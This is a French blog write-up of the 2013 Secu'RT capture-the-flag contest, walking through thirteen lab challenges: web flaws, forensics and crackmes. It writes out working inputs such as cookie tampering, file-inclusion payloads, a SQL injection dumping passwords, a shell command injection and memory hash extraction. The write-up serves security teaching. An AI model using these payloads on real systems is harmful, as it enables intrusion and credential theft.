title: Secu'RT - Writeup author: depierre published: 2013-03-25 categories: CTF, Security keywords: ctf, write up, security, challenge, securt # CTF Secu'RT Aujourd'hui s'est déroulé le CTF de la [Secu'RT](http://securt.fr/) à Montbéliard. Dans la matinée nous avons pu assister à des [conférences](http://securt.fr/pages/jour-j) sur le domaine de la sécurité plus ou moins intéressantes. C'est vers 14h que les hostilités ont commencé. Pour information, la [Secu'RT](http://securt.fr/) a plus pour objectif de sensibiliser les gens à la sécurité. C'est donc dans cet optique que les challenges ont été pensés. J'y ai participé avec les membres de [Hackgyver](http://www.hackgyver.org/). Nous avons du nous séparer en deux équipes pour équilibrer les forces. Equipe 1 : Maijin et Futex (2e au classement) Equipe 2 : [deadr0m1`](https://chroot-me.in/), [jvoisin](https://dustri.org/) et moi-même (1ère au classement héhé) Le programme : [RootBSD](http://www.r00ted.com/) a mis en place les challenges. Chacun était accessible à l'adresse 192.168.0.13:PORT, avec PORT pour passer d'une épreuve à l'autre. # SECU'RT : Les épreuves Trois parties seront abordées lors de la compétition, chacune d'entre elles traitera un sujet lié à la sécurité informatique. Le but de chaque épreuve sera d'identifier un code de validation afin de pouvoir entamer l'épreuve suivante. ## Partie 1: Les vulnérabilités du Web + Épreuve 1 : Le code de validation à récupérer sera sur la page d'administration d'un site web. + Épreuve 2 : Le code de validation sera dissimulé dans un fichier passwd.php. + Épreuve 3 : Le code de validation est le mot de passe de l'utilisateur Kevin. + Épreuve 4 : Comme dans l'épreuve précédente, le code de validation sera un mot de passe qui sert à se connecter à une page d’accueil. + Épreuve 5 : Cette fois ci le code de validation sera le retour de la commande « /bin/validation/ ». ## Partie 2: Computer forensics + Épreuve 6 : Le code de validation de cette épreuve sera le mot de passe administrateur. + Épreuve 7 : Pour valider cette épreuve, le code de validation sera le mot de passe de l'administrateur d'un environnement Windows. + Épreuve 8 : Tout comme l'épreuve précédente, le code de validation sera le mot de passe de l'utilisateur Kevin mais cette fois ci l'environnement sera Linux. ## Partie 3: Reverse engineering Pour chacune de ces épreuves, un mot de passe doit être trouvé, ce mot de passe est à mettre en argument des binaires. Si l'épreuve retourne OK, le mot de passe est le bon. Ce mot de passe est le code de validation. + Épreuve 9 : binaire Windows + Épreuve 10 : binaire Windows + Épreuve 11 : binaire Linux + Épreuve 12 : binaire Linux + Épreuve 13 : binaire Linux # Web ## Challenge 1 URL: _http://192.168.0.13:80/admin.php_ Sur cette page on a un formulaire de connexion avec deux champs : _Username_ et _Password_. Mais pas besoin de chercher plus loin, ni de tester des SQLi ou quoi que ce soit. En effet, en __observant les cookies__, un nouveau vient d'apparaitre : __admin=0__ On le passe à 1, on refresh et voilà, premier flag. Code: __EAD678UJHDE56__ ## Challenge 2 URL: _http://192.168.0.13:81/read.php?id=article1_ Sur cette page on peut naviguer entre les différents articles avec _article1_, _article2_, etc. Pour être honnête, on a mis du temps, beaucoup de temps pour valider cette épreuve... :::php read.php?id=passwd.php read.php?id=passwd.php%00 read.php?id=../passwd.php read.php?id=../passwd.php%00 read.php?id=/etc/passwd.php read.php?id=/etc/passwd.php%00 read.php?id=php://filter/convert.base64-encode/resource=passwd.php read.php?id=php://filter/convert.base64-encode/resource=passwd.php%00 read.php?id=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygncGFzc3dkLnBocCcpOyA/Pg0K Lorsqu'on tentait d'accéder au fichier _/passwd.php_ directement on avait une erreur 500. On a donc tenté de modifier les headers de la requètes HTTP pour faire croire au serveur que la requête venait de l'interne. Autant dire qu'on n'avait plus vraiment d'idée... Après moultes essais et un petit coup de pouce, il s'est avéré que le script _read.php_ fonctionnait de la sorte : :::php Donc les articles étaient dans un dossier plus loin que _passwd.php_. La version du serveur ne permettait pas l'insertion du _null byte %00_. Ainsi, il fallait donc prendre avantage du script et profiter du _hardcoding_ de l'extention. On essaie alors http://192.168.0.13:81/read.php?id=_../passwd_ [deadr0m1`](https://chroot-me.in/) remarque qu'il n'y a plus d'erreur sur la page comme _Cet article n'existe pas..._ auparavant. On regarde donc le code source : :::php ## Challenge 3 URL : _http://192.168.0.13:82/index.php?username=USERNAME_ Ici la page _index.php_ nous permettait de récupérer des informations sur un utilisateur. On se retrouve avec une injection SQL. On écrit donc dans le champs la requête suivante : :::sql " UNION SELECT password FROM users; -- Information sur l'utilisateur : :::sql " UNION select password from users; --: QSD4876FDSGSazerty ## Challenge 4 URL : _http://192.168.0.13:83/index.php_ Petite _sneacky_ ici. Un peu comme pour le challenge 2, on se retrouve un peu bloqué ici. On a tenté pas mal de tests en aveugle, en essayant des failles au hasard. Après quelques échanges, RootBSD nous a indiqué qu'il fallait plutôt s'orienter sur une malfaçon/manque de rigueur du programmeur. J'avais d'abord pensé à un _exploit Register Globals_, en me disant que peut être, le programmeur passait par une variable globale pour savoir si on était connecté ou pas. Après une dizaine d'essaies sur des noms triviaux comme _logged_, _login_, _anonymous_, _visitor_, _admin_, on a abandonné et on est passé à autre chose. A force d'essayer, je suis tombé sur la solution : http://192.168.0.13:83/index.php__~__ On voit alors apparait le flag dans le code source : :::php if ( $_POST['username'] == "admin" && $_POST['password'] == "SFDG6321FDSQ") J'ai eu un peu de chance sur celle là car j'avais validé une épreuve similaire sur [Root-Me](http://www.root-me.org/) quelques jours auparavant. ## Challenge 5 URL : _http://192.168.0.13:84/index.php_ Sur cette page, un seul champ. L'indice est de récupérer le retour de _/bin/validation_. On peut donc penser que le champ sera placé dans un appel system. Avec ces indices, [jvoisin](https://dustri.org/) a trouvé le flag en moins d'une demi seconde :p :::bash && /bin/validation On obtient en retour : Les information sur l'utilisateur sont:__FSQFDERergffd09456jkj__ # Computer forensics ## Challenge 6 A notre disposition, une archive _kevin.pgz_. Elle contient principalement un dossier _.mozilla_, qui contient surement un profile pour Mozilla Firefox. On l'importe avec le navigateur et on regarde les passwords sauvegardés. Mais pour les lire, il faut aussi entrer un mot de passe. ![Profil Firefox](/static/images/securt/profil_firefox.png) On tente des mots de passe triviaux et on trouve _kevin_. On peut donc afficher les passwords enregistrés. ![Password Firefox](/static/images/securt/password_firefox.png) Voilà, le flag est __Thelastone__. ## Challenge 7 Pour cette épreuve, on nous met à disposition un _dump_ mémoire de Windows. J'ai donc sorti [volatility](https://code.google.com/p/volatility/) pour pouvoir récupérer des informations intéressantes. En premier, j'ai cherché à savoir de quel version de l'OS venait le _dump_ : :::bash hackgyver$ vol.py imageinfo -f memory.dmp Volatile Systems Volatility Framework 2.0 Suggested Profile(s) : WinXPSP3x86, WinXPSP2x86 (Instantiated with WinXPSP2x86) AS Layer1 : JKIA32PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (memory.dmp) PAE type : No PAE DTB : 0x39000 KDBG : 0x8054cde0 KPCR : 0xffdff000 KUSER_SHARED_DATA : 0xffdf0000 Image date and time : 2013-02-10 14:39:48 Image local date and time : 2013-02-10 14:39:48 Number of Processors : 1 Image Type : Service Pack 3 Ensuite j'ai voulu regarder les clefs de registre : :::bash hackgyver$ vol.py hivelist --profile WinXPSP3x86 -f memory.dmp Volatile Systems Volatility Framework 2.0 Virtual Physical Name 0xe18d5008 0x09449008 \Device\HarddiskVolume1\Documents and Settings\kevin\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 0xe17be530 0x07dd5530 \Device\HarddiskVolume1\Documents and Settings\kevin\NTUSER.DAT 0xe15689e8 0x05e549e8 \Device\HarddiskVolume1\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 0xe1562008 0x05e47008 \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT 0xe153cb48 0x05845b48 \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 0xe1535008 0x0576f008 \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT 0xe1377b60 0x02e86b60 \Device\HarddiskVolume1\WINDOWS\system32\config\software 0xe1375008 0x02df4008 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM 0xe134a6e0 0x025c56e0 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY 0xe1375b60 0x02df4b60 \Device\HarddiskVolume1\WINDOWS\system32\config\default 0xe1254a18 0x019d3a18 [no name] 0xe1018258 0x01794258 \Device\HarddiskVolume1\WINDOWS\system32\config\system 0xe1007260 0x01754260 [no name] 0x8068f9bc 0x0068f9bc [no name] La clef SAM contient les hashs des mots de passe des utilisateurs. Je l'ai donc extraite : :::bash hackgyver$ vol.py hashdump --profile WinXPSP3x86 -f memory.dmp -y 0xe1018258 -s 0xe1375008 Volatile Systems Volatility Framework 2.0 Administrateur:500:193db29cb51fd313aad3b435b51404ee:aa6d7e7fdad2abead936f133502d49b8::: On passe ces deux hashs dans un decode online pour LM et NTLM, ce qui nous donne : :::bash 193db29cb51fd313aad3b435b51404ee LM: DEMO aa6d7e7fdad2abead936f133502d49b8 NTLM: DEMO ## Challenge 8 L'archive donnée contient un fichier _.passwd_ et un script Ruby _.tool_. :::bash \iam`}tF|W}w{t|t|y&7 On comprend vite que le mot de passe est chiffré et que l'algo utilisé est contenu dans le script. :::ruby #!/usr/bin/env ruby require 'highline/import' def get_password(prompt="[sudo] password for kevin: ") ask(prompt) {|q| q.echo = false} end cmd = "/usr/bin/sudo " + ARGV[0] i = 0 password = get_password() File.open('/home/kevin/.password', 'w') do |f| password.each_byte { |x| f.putc x ^ 0x0B + i i = i+1 } end puts 'Sorry, try again.' exec(cmd) Apparament, peu de monde apprécie le Ruby ici. La majorité des personnes ayant validé cette épreuve est passé par Python pour reverse le chiffrage. So we did :) :::python #!/usr/bin/env python2.7 passwd = "\iam`}tF|W}w{t|t|y&7" def decrypt(password): decrypted = '' for i in range(len(password)): decrypted += chr(ord(password[i]) ^ 0x0B + i) return decrypted if __name__ == "__main__": print 'Encrypted password:', passwd print 'Decrypted password:', decrypt(passwd) Ce qui donne : :::bash hackgyver$ ./decrypt.py Encrypted password: \iam`}tF|W}w{t|t|y&7 Decrypted password: WelcomeToChallenge;) # Reverse engineering ## Challenge 9 Premier crackme PE, très simple. Un _strings_ suffit pour trouver le flag. :::bash hackgyver$ strings epreuve9.exe h$0@ h-0@ h00@ SDFG456376 libgcj_s.dll _Jv_RegisterClasses %s code ExitProcess GetModuleHandleA GetProcAddress SetUnhandledExceptionFilter __getmainargs __p__environ __p__fmode __set_app_type _cexit _iob _onexit _setmode atexit exit printf puts signal strcmp KERNEL32.dll msvcrt.dll On l'essaie : :::bash hackgyver$ wine epreuve9.exe SDFG456376 OK ## Challenge 10 Ici, _strings_ ne nous permet pas de lire le flag. Par contre, on remarque que la fonction _strcmp_ est utilisée. Il suffit donc de poser un break point lors de son appel pour voire ce qui est comparé. Pour ce faire, j'ai utilisé [OllyDbg](http://www.ollydbg.de/version2.html=). ![OllyDbg epreuve10](/static/images/securt/ollydbg_epreuve10.png) On essaie sur le binaire. (Juste pour info, le '\' est là car sinon bash interprète '!7') :::bash hackgyver$ wine epreuve10.exe AFNK1\!7A OK ## Challenge 11 Dans ce binaire, le mot de passe n'apparait pas clairement et il n'y a pas de test avec _strcmp_. Le flag est testé dans le fonction _check_password_. Voyons ça de plus près avec [gdb](https://www.gnu.org/software/gdb/) et [peda](https://github.com/longld/peda=). :::bash gdb-peda$ dis check_password Dump of assembler code for function check_password: 0x0804845a <+0>: push ebp 0x0804845b <+1>: mov ebp,esp 0x0804845d <+3>: push edi 0x0804845e <+4>: sub esp,0x4 0x08048461 <+7>: mov eax,DWORD PTR [ebp+0x8] 0x08048464 <+10>: mov DWORD PTR [ebp-0x8],0xffffffff 0x0804846b <+17>: mov edx,eax 0x0804846d <+19>: mov eax,0x0 0x08048472 <+24>: mov ecx,DWORD PTR [ebp-0x8] 0x08048475 <+27>: mov edi,edx 0x08048477 <+29>: repnz scas al,BYTE PTR es:[edi] 0x08048479 <+31>: mov eax,ecx 0x0804847b <+33>: not eax 0x0804847d <+35>: sub eax,0x1 0x08048480 <+38>: cmp eax,0xa 0x08048483 <+41>: je 0x804848f 0x08048485 <+43>: mov eax,0x0 0x0804848a <+48>: jmp 0x8048541 0x0804848f <+53>: mov eax,DWORD PTR [ebp+0x8] 0x08048492 <+56>: movzx eax,BYTE PTR [eax] 0x08048495 <+59>: cmp al,0x41 0x08048497 <+61>: je 0x80484a3 0x08048499 <+63>: mov eax,0x0 0x0804849e <+68>: jmp 0x8048541 0x080484a3 <+73>: mov eax,DWORD PTR [ebp+0x8] 0x080484a6 <+76>: add eax,0x1 0x080484a9 <+79>: movzx eax,BYTE PTR [eax] 0x080484ac <+82>: movsx edx,al 0x080484af <+85>: mov eax,DWORD PTR [ebp+0x8] 0x080484b2 <+88>: movzx eax,BYTE PTR [eax] 0x080484b5 <+91>: movsx eax,al 0x080484b8 <+94>: add eax,0x5 0x080484bb <+97>: cmp edx,eax 0x080484bd <+99>: je 0x80484c6 0x080484bf <+101>: mov eax,0x0 0x080484c4 <+106>: jmp 0x8048541 0x080484c6 <+108>: mov eax,DWORD PTR [ebp+0x8] 0x080484c9 <+111>: add eax,0x2 0x080484cc <+114>: movzx eax,BYTE PTR [eax] 0x080484cf <+117>: cmp al,0x6c 0x080484d1 <+119>: je 0x80484da 0x080484d3 <+121>: mov eax,0x0 0x080484d8 <+126>: jmp 0x8048541 0x080484da <+128>: mov eax,DWORD PTR [ebp+0x8] 0x080484dd <+131>: add eax,0x5 0x080484e0 <+134>: movzx eax,BYTE PTR [eax] 0x080484e3 <+137>: cmp al,0x7a 0x080484e5 <+139>: je 0x80484ee 0x080484e7 <+141>: mov eax,0x0 0x080484ec <+146>: jmp 0x8048541 0x080484ee <+148>: mov eax,DWORD PTR [ebp+0x8] 0x080484f1 <+151>: add eax,0x6 0x080484f4 <+154>: movzx eax,BYTE PTR [eax] 0x080484f7 <+157>: movsx eax,al 0x080484fa <+160>: mov edx,DWORD PTR [ebp+0x8] 0x080484fd <+163>: add edx,0x5 0x08048500 <+166>: movzx edx,BYTE PTR [edx] 0x08048503 <+169>: movsx edx,dl 0x08048506 <+172>: add edx,0x1 0x08048509 <+175>: cmp eax,edx 0x0804850b <+177>: je 0x8048514 0x0804850d <+179>: mov eax,0x0 0x08048512 <+184>: jmp 0x8048541 0x08048514 <+186>: mov eax,DWORD PTR [ebp+0x8] 0x08048517 <+189>: add eax,0x7 0x0804851a <+192>: movzx eax,BYTE PTR [eax] 0x0804851d <+195>: cmp al,0x32 0x0804851f <+197>: je 0x8048528 0x08048521 <+199>: mov eax,0x0 0x08048526 <+204>: jmp 0x8048541 0x08048528 <+206>: mov eax,DWORD PTR [ebp+0x8] 0x0804852b <+209>: add eax,0x8 0x0804852e <+212>: movzx eax,BYTE PTR [eax] 0x08048531 <+215>: cmp al,0x33 0x08048533 <+217>: je 0x804853c 0x08048535 <+219>: mov eax,0x0 0x0804853a <+224>: jmp 0x8048541 0x0804853c <+226>: mov eax,0x1 0x08048541 <+231>: add esp,0x4 0x08048544 <+234>: pop edi 0x08048545 <+235>: pop ebp 0x08048546 <+236>: ret End of assembler dump. En premier, la fonction teste la longueur du password d'entrée _0x08048480_. Il doit être composé de 10 caractères. Ensuite, en suivant les tests un à un, on obtient le flag : __AFlDEz{23J__ On teste ça. :::bash hackgyver$ ./epreuve11 AFlDEz{23J OK ## Challenge 12 Comme pour le précédent, pas de flag harcodé ni de _strcmp_ en évidence. Par contre on remarque l'appelle de la fonction _base64_. :::bash gdb-peda$ dis main Dump of assembler code for function main: 0x08048784 <+0>: push ebp 0x08048785 <+1>: mov ebp,esp 0x08048787 <+3>: push edi 0x08048788 <+4>: push esi 0x08048789 <+5>: and esp,0xfffffff0 0x0804878c <+8>: sub esp,0x30 0x0804878f <+11>: cmp DWORD PTR [ebp+0x8],0x1 0x08048793 <+15>: jg 0x80487a2 0x08048795 <+17>: mov eax,DWORD PTR [ebp+0xc] 0x08048798 <+20>: mov eax,DWORD PTR [eax] 0x0804879a <+22>: mov DWORD PTR [esp],eax 0x0804879d <+25>: call 0x8048674 0x080487a2 <+30>: mov eax,DWORD PTR [ebp+0xc] 0x080487a5 <+33>: add eax,0x4 0x080487a8 <+36>: mov eax,DWORD PTR [eax] 0x080487aa <+38>: mov DWORD PTR [esp+0x1c],0xffffffff 0x080487b2 <+46>: mov edx,eax 0x080487b4 <+48>: mov eax,0x0 0x080487b9 <+53>: mov ecx,DWORD PTR [esp+0x1c] 0x080487bd <+57>: mov edi,edx 0x080487bf <+59>: repnz scas al,BYTE PTR es:[edi] 0x080487c1 <+61>: mov eax,ecx 0x080487c3 <+63>: not eax 0x080487c5 <+65>: sub eax,0x1 0x080487c8 <+68>: mov edx,eax 0x080487ca <+70>: mov eax,DWORD PTR [ebp+0xc] 0x080487cd <+73>: add eax,0x4 0x080487d0 <+76>: mov eax,DWORD PTR [eax] 0x080487d2 <+78>: mov DWORD PTR [esp+0x4],edx 0x080487d6 <+82>: mov DWORD PTR [esp],eax => 0x080487d9 <+85>: call 0x804869a 0x080487de <+90>: mov DWORD PTR [esp+0x2c],eax 0x080487e2 <+94>: mov eax,DWORD PTR [esp+0x2c] 0x080487e6 <+98>: mov edx,0x8048909 0x080487eb <+103>: mov ecx,0x15 0x080487f0 <+108>: mov esi,edx 0x080487f2 <+110>: mov edi,eax 0x080487f4 <+112>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi] 0x080487f6 <+114>: seta dl 0x080487f9 <+117>: setb al 0x080487fc <+120>: mov ecx,edx 0x080487fe <+122>: sub cl,al 0x08048800 <+124>: mov eax,ecx 0x08048802 <+126>: movsx eax,al 0x08048805 <+129>: test eax,eax 0x08048807 <+131>: jne 0x8048817 0x08048809 <+133>: mov DWORD PTR [esp],0x804891e 0x08048810 <+140>: call 0x8048590 0x08048815 <+145>: jmp 0x8048823 0x08048817 <+147>: mov DWORD PTR [esp],0x8048921 0x0804881e <+154>: call 0x8048590 0x08048823 <+159>: mov eax,0x0 0x08048828 <+164>: lea esp,[ebp-0x8] 0x0804882b <+167>: pop esi 0x0804882c <+168>: pop edi 0x0804882d <+169>: pop ebp 0x0804882e <+170>: ret End of assembler dump. Notre password en entrée est converti en base 64. Ensuite il est comparé à un autre hash _0x080487e6_. On break sur cet offset pour récupérer le hash du flag de validation et on le décode avec Python. :::pycon >>> import base64 >>> base64.b64decode('RlFTRHFzZGYyMzE1R3NT') 'FQSDqsdf2315GsS' On essaie le password. :::bash hackgyver$ ./epreuve12 FQSDqsdf2315GsS OK ## Challenge 13 Pas de _strings_, pas de _strcmp_ mais une fonction _decode_. On regarde ce qu'elle contient : :::bash gdb-peda$ dis decode Dump of assembler code for function decode: => 0x0804845a <+0>: push ebp 0x0804845b <+1>: mov ebp,esp 0x0804845d <+3>: mov eax,DWORD PTR [ebp+0x8] 0x08048460 <+6>: movzx eax,BYTE PTR [eax] 0x08048463 <+9>: mov edx,eax 0x08048465 <+11>: xor edx,0x41 0x08048468 <+14>: mov eax,DWORD PTR [ebp+0x8] 0x0804846b <+17>: mov BYTE PTR [eax],dl 0x0804846d <+19>: mov eax,DWORD PTR [ebp+0x8] 0x08048470 <+22>: lea edx,[eax+0x1] 0x08048473 <+25>: mov eax,DWORD PTR [ebp+0x8] 0x08048476 <+28>: add eax,0x1 0x08048479 <+31>: movzx eax,BYTE PTR [eax] 0x0804847c <+34>: xor eax,0x42 0x0804847f <+37>: mov BYTE PTR [edx],al 0x08048481 <+39>: mov eax,DWORD PTR [ebp+0x8] 0x08048484 <+42>: lea edx,[eax+0x2] 0x08048487 <+45>: mov eax,DWORD PTR [ebp+0x8] 0x0804848a <+48>: add eax,0x2 0x0804848d <+51>: movzx eax,BYTE PTR [eax] 0x08048490 <+54>: xor eax,0x43 0x08048493 <+57>: mov BYTE PTR [edx],al 0x08048495 <+59>: mov eax,DWORD PTR [ebp+0x8] 0x08048498 <+62>: lea edx,[eax+0x3] 0x0804849b <+65>: mov eax,DWORD PTR [ebp+0x8] 0x0804849e <+68>: add eax,0x3 0x080484a1 <+71>: movzx eax,BYTE PTR [eax] 0x080484a4 <+74>: xor eax,0x44 0x080484a7 <+77>: mov BYTE PTR [edx],al 0x080484a9 <+79>: pop ebp 0x080484aa <+80>: ret End of assembler dump. Donc les 4 premières lettres du password est _XOR_ed avec _ABCD_ et le résultat est comparé à _CCBEA_ (dans le _main_). On a donc écrit un script Python pour nous retrouver le password original et qui donne : :::python #!/usr/bin/env python2.7 passwd = 'CCBEA' xor_tab = 'ABCD' def decrypt(password): decrypted = '' for i in range(len(xor_tab)): decrypted += chr(ord(xor_tab[i]) ^ ord(passwd[i])) decrypted += passwd[-1] return decrypted if __name__ == "__main__": print 'Encrypted password:', passwd plain = decrypt(passwd) print 'Decrypted password:', [ hex(ord(plain[i])) for i in range(len(plain)) ] Le script nous retourne : :::bash hackgyver$ ./decrypt.py Encrypted password: CCBEA Decrypted password: ['0x2', '0x1', '0x1', '0x1', '0x41'] On teste tout ça. :::bash hackgyver$ ./epreuve13 $(python2.7 -c "print '\x02\x01\x01\x01\x41'") CCBEA OK # Petits mots de fin Journée bien sympathique. Certes les challenges n'étaient pas très compliqués, mais on s'est bien amusé. Il faut dire que c'était la première fois, en tout cas pour moi, qu'on faisait un CTF IRL. On peut dire que ça s'est bien passé :) L'initiative de la Secu'RT est vraiment sympa et je pense qu'il faut que ça perdure. J'espère que les gens qui ont assisté aux CTF ont appris quelques tricks et qu'ils reviendront l'année prochaine. Sur ce, bonne fin de journée !